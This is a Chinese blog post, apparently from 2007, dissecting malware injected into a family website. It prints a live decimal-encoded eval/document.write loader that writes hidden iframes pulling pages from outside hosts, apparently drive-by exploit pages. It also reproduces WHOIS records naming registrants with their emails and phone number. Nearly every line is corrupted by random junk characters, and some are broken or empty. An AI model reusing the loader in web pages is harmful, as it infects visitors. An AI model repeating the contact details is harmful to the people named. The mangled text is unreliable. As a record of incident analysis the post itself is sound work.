首发在我的博客里面，
wl gR = l Uo;a$sR http://www.areway.cn/?p=175 nWA>u J5 IZs& 7 d'iSvd. 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
X0]{8v% L8(2or <script>t=’60,105,102,114,97,109,101,
w)&?9?~ 32,115,114,99,61,104,116,116,112,58,47,47,
7^tYtMm|U 102,114,101,101,46,117,45,117,117,117,46,99,
aW9\h_$ 110,47,101,114,114,111,114,46,104,116,109,
_|T{2Lv wT 32,119,105,100,116,104,61,49,48,48,32,104,
@saK:z 101,105,103,104,116,61,48,62,60,47,105,102,
LW k/h 1 114,97,109,101,62′;
r dCs t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
=J|jCK[r ,&y_^-|d <script>t=’60,105,102,114,97,109,101,32,115,
ESU O I 114,99,61,104,116,116,112,58,47,47,102,114,
31UxYBY 101,101,46,117,45,117,117,117,46,99,110,47,
+\$c_ 9|C+ 101,114,114,111,114,46,104,116,109,32,119,
>@Pw{Zh$ 105,100,116,104,61,49,48,48,32,104,101,105,
uQ|LkL%< ^ 103,104,116,61,48,62,60,47,105,102,114,97,
i x$
^1( 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
'#SZ|Rr6tX document.write(t);</script>
6TTu[*0NT $0vWC#.A] <html xmlns=”
ug.|ag'R http://www.w3.org/1999/xhtml =CO) Q2 “>
J5n6K$ .d <head>
^M%P43 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
!3i Za * <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
`JY+3d,Ui <title>首页 - 爱生活家庭网
'J3yJ{ j Neb*dPoK 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
[V qiF~o, 转换字符串后的大概内容是（谁点击后果自付）：
\F-n}Z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
,i|K} Y& 63J3NwFt 查询玉米u-uuu.cn的详细信息：
dQ~GE}[ Domain Name: u-uuu.cn
V8nQ/9R; ROID: 20070901s10001s64972306-cn
x;`G n_ Domain Status: ok
ij#v_~g3 Registrant Organization: 王雷
60] VOQku Registrant Name: 王雷
ju3@F 8AI Administrative Email:
czlovexs@126.com xQU//kNL Sponsoring Registrar: 北京万网志成科技有限公司
UJQTArf Name Server:ns.yovole.com
1h(IrV5 g Name Server:ns1.yovole.com
. AOc$Nt Registration Date: 2007-09-01 17:54
\At ~94 Expiration Date: 2008-09-01 17:54
]kx<aQ^ 最后PING了一下地址 都没有什么….
QH4m7M@ni j,;f#+O`g 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
p`rjWpH <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
D
"5 |\ <script language=”javascript” src=”
>~Gy+- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script '3U,UD5EG >
jA;b2A]G 这个玉米应该有可能是木马作者的：
y9]7LETv\M foafau.info的详细信息：
-^yc<%U Access to INFO WHOIS information is provided to assist persons in
,jeHL@>w[ determining the contents of a domain name registration record in the
w'A *EWO Afilias registry database. The data in this record is provided by
);AtFP0Y Afilias Limited for informational purposes only, and Afilias does not
v ;5-1 guarantee its accuracy. This service is intended only for query-based
qd wo 2u access. You agree that you will use this data only for lawful purposes
_Dqi#0#40p and that, under no circumstances will you use this data to: (a) allow,
9eq)WI/ enable, or otherwise support the transmission by e-mail, telephone, or
Qxa Me8 ( facsimile of mass unsolicited, commercial advertising or solicitations
sk<S`J,M/_ to entities other than the data recipient’s own existing customers; or
568M4xzi (b) enable high volume, automated, electronic processes that send
OmZZTeGg1s queries or data to the systems of Registry Operator, a Registrar, or
) quQI)Ym Afilias except as reasonably necessary to register domain names or
S
LeA,T modify existing registrations. All rights reserved. Afilias reserves
T+~&jC:{ the right to modify these terms at any time. By submitting this query,
K$ D+TI) you agree to abide by this policy.
~,} ;FI Domain ID:D22418703-LRMS
f. >[ J Domain Name:FOAFAU.INFO
q GR1$\] Created On:20-Nov-2007 16:05:42 UTC
L\"wz scn Last Updated On:20-Nov-2007 16:05:44 UTC
Iurz?dt4w Expiration Date:20-Nov-2008 16:05:42 UTC
~N;
dX[@BT Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
PWvT C`? Status:CLIENT DELETE PROHIBITED
3hBYx@jTO Status:CLIENT RENEW PROHIBITED
2B6u )
95 Status:CLIENT TRANSFER PROHIBITED
|x1Ttr, Status:CLIENT UPDATE PROHIBITED
uE r.LCAS Status:TRANSFER PROHIBITED
h(}#s1Fzq Registrant ID:GODA-040110615
%La/E# Registrant Name:liu hong
Gdx %#@/ Registrant Organization:
y]obO|AH Registrant Street1:beijing
J0e^v Registrant Street2:
[] N&,2O Registrant Street3:
5N6R%2,A Registrant City:beijing
P| ?nx"c Registrant State/Province:
kO^ Registrant Postal Code:100000
U
v>^ Z2 Registrant Country:CN
!= ;Evf Registrant Phone:+86.860108888777
-:L7iOzgD Registrant Phone Ext.:
:4X,5X7tW= Registrant FAX:
bzZdj6>kX Registrant FAX Ext.:
9" 1=um= Registrant Email:bbbshiji@163.com
jL5O{R[
x: Admin ID:GODA-240110615
Vu~fF@
| Admin Name:liu hong
\ !uf*=d Admin Organization:
_f "I%QTL Admin Street1:beijing
GpO@1 C/ Admin Street2:
Ue,eEer Admin Street3:
L7(.dO 0C Admin City:beijing
d3T7$'l$ Admin State/Province:
F/A)2 H_ Admin Postal Code:100000
Ssa /;O2 Admin Country:CN
M _75bU Admin Phone:+86.860108888777
w8>bct3@ Admin Phone Ext.:
o 0b\<} Admin FAX:
7|" G
3ck Admin FAX Ext.:
p"cY/2w:j Admin Email:bbbshiji@163.com
B1i'Mzm-4 Billing ID:GODA-340110615
YWi Y[ Billing Name:liu hong
r`u 9MJ* Billing Organization:
=PL y^% Billing Street1:beijing
J(XK%e[8 Billing Street2:
)In;nc Billing Street3:
- M[BC~!0; Billing City:beijing
W`wT0kP?*] Billing State/Province:
V+*1?5w Billing Postal Code:100000
a5@lWpQsV Billing Country:CN
a[lx&CHgI Billing Phone:+86.860108888777
L #IY6t Billing Phone Ext.:
:KRe==/ Billing FAX:
1BzU-Ma Billing FAX Ext.:
c /3]M>+M Billing Email:bbbshiji@163.com
FEA/}*2F Tech ID:GODA-140110615
,?GAFg K: Tech Name:liu hong
m A 3yM# Tech Organization:
#M[C q= 2 Tech Street1:beijing
sD<8 -n Tech Street2:
kRz qgVr% Tech Street3:
W?12'EG}xa Tech City:beijing
hA"z0Fszh Tech State/Province:
N _.`5I;e Tech Postal Code:100000
(]<G )+* Tech Country:CN
l {\@+m Tech Phone:+86.860108888777
=(5}0}j Tech Phone Ext.:
iJu$& u Tech FAX:
X@B,w_b Tech FAX Ext.:
Zxv{qbF Tech Email:bbbshiji@163.com
cF G%Ew@ Name Server:NS27.DOMAINCONTROL.COM
W} oAgUd Name Server:NS28.DOMAINCONTROL.COM
%5bN@X D Name Server:
s0'Xih sw6 Name Server:
( e(<4-& Name Server:
W;wu2 ' Name Server:
!1?Nc}T0Q& Name Server:
RFm9dHI27 Name Server:
"{( 4 Name Server:
3 s Ge#s% Name Server:
q|ZQsFZ Name Server:
;0\ Name Server:
5 % aT Name Server:
BhJ~ jV" ,t>/_pI += 接着下载每个文件里面的代码：
^ )/oDyO 一步一步看..
)c<5:c 
Wj.
_{ 
)u'( " 
re} P 
Ndx ]5 
I"+;L4o ` 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
